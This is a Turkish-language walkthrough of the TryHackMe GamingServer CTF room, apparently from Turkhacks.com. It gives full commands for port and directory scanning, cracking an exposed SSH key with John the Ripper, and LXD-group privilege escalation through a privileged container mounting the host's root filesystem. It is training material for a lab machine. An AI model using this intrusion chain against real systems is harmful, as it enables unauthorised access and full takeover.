Merhabalar arkadaşlar. Bugün TryHackMe üzerindeki GamingServer CTF odasını adım adım çözeceğiz.
THM odasına buradan erişe bilirsiniz. : https://tryhackme.com/room/gamingserverhttps://tryhackme.com/room/gamingserver
Öncelikle laboratuvar ortamını başlatıyoruz.
Verilen adrese (IP) baktığımızda bizi bir web sitesi karşılamaktadır. Başlangıçta sıradan, eski tasarım bir web sitesi gibi gözükmektedir. Ama biz bu kalenin bayrağını almalıyız, o yüzden derinlemesine bir araştırma başlatalım.
1. Keşif (Enumeration)
Öncelikle bir port taraması yapalım. Bakalım ne sonuca varıyoruz.
Kod:
sudo nmap -sT -Pn <hedef_ip>
22/tcp open ssh
80/tcp open http
22-ci portun yani SSH servisinin aktif olduğunu görmüş olduk. Bunu bir kenara not edelim.
Şimdi bir de dizin taraması (directory brute-force) gerçekleştirelim.
Kod:
gobuster dir -u http://<hedef_ip> -w /usr/share/wordlists/dirb/common.txt
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 2762]
/robots.txt (Status: 200) [Size: 33]
/secret (Status: 301) [Size: 315] [--> http://target_ip/secret/]
/server-status (Status: 403) [Size: 278]
/uploads (Status: 301) [Size: 316] [--> http://target_ip/uploads/]
Burada 2 klasör dikkatimizi çekiyor: /secret ve /uploads. Bunlar bize gerekli olan dizinler olabilir.
Gizli Dosyaların İncelenmesi
/secret dizinine gittiğimizde secretKey isminde bir dosya bizi karşılıyor. Dosyanın içeriğine bakalım:
secretKey isminde bir dosya bizi karşılamakta. Şimdi bir dosyaya bakalım ne dosyasıdır bu
Sistemde şifrelenmiş bir RSA Özel Anahtarı (id_rsa) tespit ettik. Anahtarın Proc-Type: 4,ENCRYPTED başlığına sahip olması, kullanmadan önce parolasını kırmamız gerektiğini gösteriyor. Hemen bunu bilgisayarımıza indiriyoruz.
Kod:
wget http://target_ip/secret/secretKey
Şimdi /uploads dizinine bir göz atalım.
- dict.lst
- manifesto.txt
- meme.jpg
Ancak dict.lst dosyası dikkat çekici. Bu bir kelime listesi (wordlist) gibi duruyor. Sunucuda böyle bir dosyanın unutulması garip değil mi? Muhtemelen şifreli RSA anahtarımızın parolası bu listenin içinde. Bunu da indiriyoruz.
Kod:
wget http://target_ip/uploads/dict.lst
2. Parola Kırma (Cracking)
Şimdi RSA dosyasını kırmayı deneyelim. Bu bize SSH bağlantısı için gerekli parolayı verecektir.
John the Ripper, doğrudan SSH anahtar dosyasını okuyamaz. Ona "hash" formatında, yani kendi anlayacağı dilde veri vermemiz gerekir. Bunun için ssh2john aracını kullanacağız. Eğer sisteminizde yoksa buradan indirebilirsiniz.
Anahtarı hash formatına çeviriyoruz:
Kod:
python3 ssh2john.py secretKey > rsa_pass.hash
ve hash oluşmuş oldu.
dikkat ederseniz oluşan hash şuna benzer bir formattadır:
- secretKey: Dosya etiketi.
- $sshng$: Hash formatı (SSH Next Generation).
- Hash Değeri: Parolanın matematiksel özeti.
Kod:
john --wordlist=dict.lst rsa_pass.hash
Ve evet, parolayı aldık! (amma kurallar gereğı paylaşmıyoruz)
3. Sisteme Erişim (Gaining Access)
Şifre elimizde, peki kullanıcı adı ne? Siteye dönüp kaynak kodlarını incelediğimizde (HTML Comment satırlarında) "john" isminde bir kullanıcı notu görüyoruz. Kullanıcı adımız muhtemelen john.
SSH bağlantısı için indirdiğimiz secretKey dosyasını kullanacağız. Ancak Linux izinleri gereği bu dosyanın sadece bizim tarafımızdan okunabilir olması lazım, aksi takdirde hata alırız.
Kod:
chmod 600 secretKey
Kod:
ssh john@<hedef_ip> -i ./secretKey
Ve içerideyiz! user.txt dosyasını okuyarak ilk flag'imizi alıyoruz.
4. Yetki Yükseltme (Privilege Escalation)
Şimdi sıra root flag'inde. Önce id komutuyla john kullanıcısının gruplarına bakıyoruz.
Çıktıda lxd grubunu görüyoruz. Yol haritamız belli: LXD Privilege Escalation.
LXD Nedir?
LXD grubundaki bir kullanıcı, sistem üzerinde root yetkisine sahip bir "konteyner" oluşturabilir. Biz bu yetkiyi kullanarak, ana makinenin tüm dosya sistemini (/) bu konteynerin içine bağlayacağız (mount). Böylece konteynerin içinden ana makinenin dosyalarına erişip root flag'i okuyabileceğiz.
Şimdi hedef makinemiz internete bağlı olmaya bilir. bir ping atalım
beklememize rağmen bir değişiklik yok. Demek ki, ağ istediğimiz gibi değil. Bu zaman ana makinemizde exploit scriptlerini indirip daha sonra ssh sunucusuna upload edicez.
googlede "lxd explit" arattığımızda karşımıza çıkan ilk seçeneğe tıklıyoruz. https://github.com/initstring/lxd_root bir github adressinin olması lazım. hemen indirelim
Kod:
git clone https://github.com/initstring/lxd_root
Kod:
python3 -m http.server 8000
Şimdi biz ssh sunucumuzdan bu ana makinemize erişip dosyayı almayı deneyecez. Bunun için birde başka servis başlatmaya gerek yok. THM ağına bağlandığımız için THM bize virtual bir ip atamıştır.
https://tryhackme.com/manage-account/access adressden baka bilirsiniz.
indirdiğimiz repoda iki iki tane .py ve .sh dosyası vardır. Bunları denemeye çalışacaz.
-rw-r--r--. 1 m3g4tr0n m3g4tr0n 45039 Jan 3 00:31 exploit.png
-rw-r--r--. 1 m3g4tr0n m3g4tr0n 35149 Jan 3 00:31 LICENSE
-rwxr-xr-x. 1 m3g4tr0n m3g4tr0n 1260 Jan 3 00:31 lxd_rootv1.sh
-rwxr-xr-x. 1 m3g4tr0n m3g4tr0n 7981 Jan 3 00:31 lxd_rootv2.py
-rw-r--r--. 1 m3g4tr0n m3g4tr0n 4061 Jan 3 00:31 README.md
Şimdi önce lxd_rootv1.sh dosyasını almaya çalışalım. SSH bağlantımıza geçelim, john kardeşimizin terminali üzerinden dosyaları kendi ana makinemizden almaya çalışalım
Kod:
wget http://192.168.225.248:8000/lxd_rootv1.sh
işlem başarılı
Şimdi exploit dosyalarını çalıştıralım.
Sonuç: Script çalıştırıldı ancak exploit başarısız oldu. Bu durumda hazır scriptler yerine, daha güvenilir olan
Hedef makinenin internet erişimi kısıtlı olduğu için exploit scriptlerini veya imajları kendi makinemizde hazırlayıp yükleyeceğiz.
Manuel Sömürü (Alpine Yöntemi)
Otomatik scriptler (lxd_rootv1.sh vb.) bazen bağımlılık sorunları yüzünden çalışmayabilir. En temiz yöntem Alpine Linux imajını manuel oluşturup içeri aktarmaktır.
Kendi makinemizde (Attacker Machine) şu komutları çalıştırıyoruz:
Kod:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
Bu işlem sonucunda dizinde .tar.gz uzantılı bir dosya oluşacaktır. Şimdi bir Python sunucusu başlatıp bu dosyayı karşıya atalım:
(tabiiki eski sunucuyu kapatıp yeni indirdiğimiz klasör içinden)
Kod:
python3 -m http.server 8000
Hedef makinede (SSH oturumunda) dosyayı çekiyoruz:
Kod:
wget http://<SENIN_VPN_IP_ADRESIN>:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
ve işlem başarılı
LXD'yi kullanarak bu imajı sisteme tanıtıyoruz ve yetkilendirilmiş (privileged) bir konteyner başlatıyoruz.
LXD Konteynerini Başlatma
Aşağıdaki adımları sırasıyla uygulayarak root yetkisine geçiyoruz:- İmajı içeri aktar:
Kod:lxc image import ./alpine-v3.13-xxxx.tar.gz --alias myimage - Konteyneri başlat (security.privileged=true en kritik kısımdır):
Kod:lxc init myimage mycontainer -c security.privileged=true - Ana diski mount et:
Kod:lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true - Konteyneri çalıştır:
Kod:lxc start mycontainer - Root shell al:
Kod:lxc exec mycontainer /bin/sh
Ve GOAL! Konteynerin içindeyiz. Konteynerin içine girdikten sonra, ana makinenin dosya sistemi /mnt/root altında erişilebilir durumdadır.
Kod:
cd /mnt/root/root
ls
cat root.txt
Root flag'i kaptık! Tebrikler.
Bug Researchers Tim | Turkhacks.com







